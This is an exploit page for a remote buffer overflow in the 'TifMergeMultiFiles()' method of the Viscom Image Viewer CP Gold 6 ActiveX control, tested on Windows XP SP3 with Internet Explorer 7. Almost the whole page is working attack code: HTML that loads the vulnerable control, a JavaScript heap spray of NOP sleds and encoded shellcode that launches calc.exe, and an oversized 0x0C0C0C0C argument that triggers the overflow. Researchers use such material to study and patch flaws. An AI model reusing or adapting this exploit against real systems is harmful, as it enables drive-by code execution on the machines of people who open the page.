Viscom Image Viewer CP Gold 6 – ActiveX ‘TifMergeMultiFiles()’ Remote Buffer Overflow
<html> <!-- Exploit Title: Image Viewer CP Gold 6 ActiveX TifMergeMultiFiles() Buffer Overflow Exploit Found By: Dr_IDE Download: http://www.viscom.com Greets: bz1p, bz1p@bshellz.net for finding the app. Tested on: XP SP3 IE7 CVE: (0day) --> <object CLASSID="clsid:5220cb21-c88d-11cf-b347-00aa00a28331" width="14" height="14"> <param NAME="LPKPath" VALUE="imageviewer.lpk"></object> <object classid="clsid:E589DA78-AD4C-4FC5-B6B9-9E47B110679E" id='target'></object> <script> //payload is windows/exec cmd=calc.exe shellcode = unescape( '%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+ '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+ '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+ '%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+ '%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+ '%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+ '%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+ '%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e'); nops=unescape('%u9090%u9090'); headersize =20; slackspace= headersize + shellcode.length; while(nops.length < slackspace) nops+= nops; fillblock= nops.substring(0, slackspace); block= nops.substring(0, nops.length- slackspace); while( block.length+ slackspace<0x50000) block= block+ block+ fillblock; memory=new Array(); for( counter=0; counter<200; counter++) memory[counter]= block + shellcode; ret=''; for( counter=0; counter<=1000; counter++) ret+=unescape("%0C%0C%0C%0C"); arg2=String("abcd"); target.TIFMergeMultiFiles(arg2, arg2, ret); </script> </html> |